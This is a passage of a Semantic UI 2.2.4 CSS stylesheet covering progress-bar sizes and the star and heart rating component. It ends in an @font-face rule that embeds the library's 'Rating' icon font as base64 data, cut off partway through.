  height: 1.75em;
}

.ui.large.progress {
  font-size: 1.14285714rem;
}

.ui.large.progress .bar {
  height: 2.5em;
}

.ui.big.progress {
  font-size: 1.28571429rem;
}

.ui.big.progress .bar {
  height: 3.5em;
}

/*******************************
            Progress
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Rating
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
           Rating
*******************************/

.ui.rating {
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  white-space: nowrap;
  vertical-align: baseline;
}

.ui.rating:last-child {
  margin-right: 0em;
}

/* Icon */

.ui.rating .icon {
  padding: 0em;
  margin: 0em;
  text-align: center;
  font-weight: normal;
  font-style: normal;
  -webkit-box-flex: 1;
  -webkit-flex: 1 0 auto;
  -ms-flex: 1 0 auto;
  flex: 1 0 auto;
  cursor: pointer;
  width: 1.25em;
  height: auto;
  -webkit-transition: opacity 0.1s ease, background 0.1s ease, text-shadow 0.1s ease, color 0.1s ease;
  transition: opacity 0.1s ease, background 0.1s ease, text-shadow 0.1s ease, color 0.1s ease;
}

/*******************************
             Types
*******************************/

/*-------------------
      Standard
--------------------*/

/* Inactive Icon */

.ui.rating .icon {
  background: transparent;
  color: rgba(0, 0, 0, 0.15);
}

/* Active Icon */

.ui.rating .active.icon {
  background: transparent;
  color: rgba(0, 0, 0, 0.85);
}

/* Selected Icon */

.ui.rating .icon.selected,
.ui.rating .icon.selected.active {
  background: transparent;
  color: rgba(0, 0, 0, 0.87);
}

/*-------------------
        Star
--------------------*/

/* Inactive */

.ui.star.rating .icon {
  width: 1.25em;
  height: auto;
  background: transparent;
  color: rgba(0, 0, 0, 0.15);
  text-shadow: none;
}

/* Active Star */

.ui.star.rating .active.icon {
  background: transparent !important;
  color: #FFE623 !important;
  text-shadow: 0px -1px 0px #DDC507, -1px 0px 0px #DDC507, 0px 1px 0px #DDC507, 1px 0px 0px #DDC507 !important;
}

/* Selected Star */

.ui.star.rating .icon.selected,
.ui.star.rating .icon.selected.active {
  background: transparent !important;
  color: #FFCC00 !important;
  text-shadow: 0px -1px 0px #E6A200, -1px 0px 0px #E6A200, 0px 1px 0px #E6A200, 1px 0px 0px #E6A200 !important;
}

/*-------------------
        Heart
--------------------*/

.ui.heart.rating .icon {
  width: 1.4em;
  height: auto;
  background: transparent;
  color: rgba(0, 0, 0, 0.15);
  text-shadow: none !important;
}

/* Active Heart */

.ui.heart.rating .active.icon {
  background: transparent !important;
  color: #FF6D75 !important;
  text-shadow: 0px -1px 0px #CD0707, -1px 0px 0px #CD0707, 0px 1px 0px #CD0707, 1px 0px 0px #CD0707 !important;
}

/* Selected Heart */

.ui.heart.rating .icon.selected,
.ui.heart.rating .icon.selected.active {
  background: transparent !important;
  color: #FF3000 !important;
  text-shadow: 0px -1px 0px #AA0101, -1px 0px 0px #AA0101, 0px 1px 0px #AA0101, 1px 0px 0px #AA0101 !important;
}

/*******************************
             States
*******************************/

/*-------------------
       Disabled
--------------------*/

/* disabled rating */

.ui.disabled.rating .icon {
  cursor: default;
}

/*-------------------
   User Interactive
--------------------*/

/* Selected Rating */

.ui.rating.selected .active.icon {
  opacity: 1;
}

.ui.rating.selected .icon.selected,
.ui.rating .icon.selected {
  opacity: 1;
}

/*******************************
          Variations
*******************************/

.ui.mini.rating {
  font-size: 0.78571429rem;
}

.ui.tiny.rating {
  font-size: 0.85714286rem;
}

.ui.small.rating {
  font-size: 0.92857143rem;
}

.ui.rating {
  font-size: 1rem;
}

.ui.large.rating {
  font-size: 1.14285714rem;
}

.ui.huge.rating {
  font-size: 1.42857143rem;
}

.ui.massive.rating {
  font-size: 2rem;
}

/*******************************
         Theme Overrides
*******************************/

@font-face {
  font-family: 'Rating';
  src: url(data:application/x-font-ttf;charset=utf-8;base64,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) format('truetype'), url(data:application/font-woff;charset=utf-8;base64,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kIiRi5MI5vdUFfcni4vCBYufhJx8mn2ZepJ3i3aLeoR9fX18g3qLdwiLVAUO+yaLshWL+AQFi5GNkY+RjpCQj5KNj42PjI+LCPfAiwWPi4+Kj4mRiZCHj4aPhY2Fi4UIi/wEBYuEiYWHhoeGhoeFiIiKhoqHi4GLhI6EkQj7EvcN+xL7DQWEhYOIgouHi4eLh42EjoaPiJCHkImRi5IIDov3XRWLko2Rj5Kltq+vuKW4pbuZvYu9i7t9uHG4ca9npWCPhI2Fi4SLhYmEh4RxYGdoXnAIXnFbflmLWYtbmF6lXqZnrnG2h5KJkouRCLCLFaRkq2yxdLF0tH+4i7iLtJexorGiq6qksm64Z61goZZ3kXaLdItnfm1ycnJybX9oiwhoi22XcqRypH6pi6+LopGglp9gdWdpbl4I9xiwFYuHjIiOiI6IjoqPi4+LjoyOjo2OjY6Lj4ubkJmXl5eWmZGbi4+LjoyOjo2OjY6LjwiLj4mOiY6IjYiNh4tzi3eCenp6eoJ3i3MIDov3XRWLko2Sj5GouK+utqW3pbqYvouci5yJnIgIm6cFjY6NjI+LjIuNi42JjYqOio+JjomOiY6KjomOiY6JjoqNioyKjomMiYuHi4qLiouLCHdnbVVjQ2NDbVV3Zwh9cgWJiIiJiIuJi36SdJiIjYmOi46LjY+UlJlvl3KcdJ90oHeie6WHkYmSi5IIsIsVqlq0Z711CKGzBXqXfpqCnoKdhp6LoIuikaCWn2B1Z2luXgj3GLAVi4eMiI6IjoiOio+Lj4uOjI6OjY6NjouPi5uQmZeXl5aZkZuLj4uOjI6OjY6NjouPCIuPiY6JjoiNiI2Hi3OLd4J6enp6gneLcwji+10VoLAFtI+wmK2hrqKnqKKvdq1wp2uhCJ2rBZ1/nHycepx6mHqWeY+EjYWLhIuEiYWHhIR/gH1+fG9qaXJmeWV5Y4Jhiwi53BXb9yQFjIKMg4uEi3CDc3x1fHV3fHOBCA6L1BWL90sFi5WPlJKSkpKTj5aLCNmLBZKPmJqepJaZlZeVlY+Qj5ONl42WjpeOmI+YkZWTk5OSk46Vi5uLmYiYhZiFlIGSfgiSfo55i3WLeYd5gXgIvosFn4uchJl8mn2Seot3i3qGfIJ9jYSLhYuEi3yIfoR+i4eLh4uHi3eGen99i3CDdnt8CHt8dYNwiwhmiwV5i3mNeY95kHeRc5N1k36Ph4sIOYsFgIuDjoSShJKHlIuVCLCdFYuGjIePiI+Hj4mQi5CLj42Pj46OjY+LkIuQiZCIjoePh42Gi4aLh4mHh4eIioaLhgjUeRWUiwWNi46Lj4qOi4+KjYqOi4+Kj4mQio6KjYqNio+Kj4mQio6KjIqzfquEpIsIrosFr4uemouri5CKkYqQkY6QkI6SjpKNkouSi5KJkoiRlZWQlouYi5CKkImRiZGJj4iOCJGMkI+PlI+UjZKLkouViJODk4SSgo+CiwgmiwWLlpCalJ6UnpCbi5aLnoiYhJSFlH+QeYuGhoeDiYCJf4h/h3+IfoWBg4KHh4SCgH4Ii4qIiYiGh4aIh4mIiIiIh4eGh4aHh4eHiIiHiIeHiIiHiIeKh4mIioiLCIKLi/tLBQ6L90sVi/dLBYuVj5OSk5KSk46WiwjdiwWPi5iPoZOkk6CRnZCdj56Nn4sIq4sFpougg5x8m3yTd4txCIuJBZd8kHuLd4uHi4eLh5J+jn6LfIuEi4SJhZR9kHyLeot3hHp8fH19eoR3iwhYiwWVeI95i3mLdIh6hH6EfoKBfoV+hX2He4uBi4OPg5KFkYaTh5SHlYiTipOKk4qTiJMIiZSIkYiPgZSBl4CaeKR+moSPCD2LBYCLg4+EkoSSh5SLlQiw9zgVi4aMh4+Ij4ePiZCLkIuPjY+Pjo6Nj4uQi5CJkIiOh4+HjYaLhouHiYeHh4iKhouGCNT7OBWUiwWOi46Kj4mPio+IjoiPh4+IjoePiI+Hj4aPho6HjoiNiI6Hj4aOho6Ii4qWfpKDj4YIk4ORgY5+j36OgI1/jYCPg5CGnYuXj5GUkpSOmYuei5aGmoKfgp6GmouWCPCLBZSLlI+SkpOTjpOLlYuSiZKHlIeUho+Fi46PjY+NkY2RjJCLkIuYhpaBlY6RjZKLkgiLkomSiJKIkoaQhY6MkIyRi5CLm4aXgpOBkn6Pe4sIZosFcotrhGN9iouIioaJh4qHiomKiYqIioaKh4mHioiKiYuHioiLh4qIi4mLCIKLi/tLBQ77lIv3txWLkpCPlo0I9yOgzPcWBY6SkI+RiwiL/BL7FUcFh4mHioiLh4uIjImOiY6KjouPi4yLjYyOCKP3IyPwBYaQiZCLjwgOi/fFFYu1l6yjoqOjrZe2i5aLl4mYh5eHloWWhJaElIWShZOEkoWShJKSkpGTkpKRlJGWkgiWkpaRl4+Yj5eNlou2i61/o3OjdJdqi2GLYXVgYGAI+0b7QAWHiIeJhouGi4eNh44I+0b3QAWJjYmNh4+IjoaRg5SElIWVhZSFlYaWh5mGmImYi5gIsIsVi2ucaa9oCPc6+zT3OvczBa+vnK2Lq4ubiZiHl4eXhpSFkoSSg5GCj4KQgo2CjYONgYuBi4KLgIl/hoCGgIWChAiBg4OFhISEhYaFhoaIhoaJhYuFi4aNiJCGkIaRhJGEkoORgZOCkoCRgJB/kICNgosIgYuBi4OJgomCiYKGgoeDhYSEhYSGgod/h3+Jfot7CA77JouyFYv4BAWLkY2Rj5GOkJCPko2PjY+Mj4sI98CLBY+Lj4qPiZGJkIePho+FjYWLhQiL/AQFi4SJhYeGh4aGh4WIiIqGioeLgYuEjoSRCPsS9w37EvsNBYSFg4iCi4eLh4uHjYSOho+IkIeQiZGLkgiwkxX3JvchpHL3DfsIi/f3+7iLi/v3BQ5ni8sVi/c5BYuSjpKQkJCQko6Siwj3VIuLwgWLrpippKSkpKmYrouvi6l+pHKkcpdti2gIi0IFi4aKhoeIh4eHiYaLCHmLBYaLh42Hj4eOipCLkAiL1AWLn4OcfZp9mXqSdot3i3qEfX18fIR6i3cIi1SniwWSi5KIkIaQho6Ei4QIi/s5BYuDiIWGhoaFhImEiwj7p4sFhIuEjYaRhpCIkYuTCA5njPe6FYyQkI6UjQj3I6DM9xYFj5KPj5GLkIuQh4+ECMv7FvcjdgWUiZCIjYaNhoiFhYUIIyak+yMFjIWKhomHiYiIiYaLiIuHjIeNCPsUz/sVRwWHiYeKiIuHi4eNiY6Jj4uQjJEIo/cjI/AFhZGJkY2QCPeB+z0VnILlW3rxiJ6ZmNTS+wydgpxe54v7pwUOZ4vCFYv3SwWLkI2Pjo+Pjo+NkIsI3osFkIuPiY6Ij4eNh4uGCIv7SwWLhomHh4eIh4eKhosIOIsFhouHjIePiI+Jj4uQCLCvFYuGjIePh46IkImQi5CLj42Pjo6PjY+LkIuQiZCIjoePh42Gi4aLhomIh4eIioaLhgjvZxWL90sFi5CNj46Oj4+PjZCLj4ySkJWWlZaVl5SXmJuVl5GRjo6OkI6RjZCNkIyPjI6MkY2TCIySjJGMj4yPjZCOkY6RjpCPjo6Pj42Qi5SLk4qSiZKJkYiPiJCIjoiPho6GjYeMhwiNh4yGjIaMhYuHi4iLiIuHi4eLg4u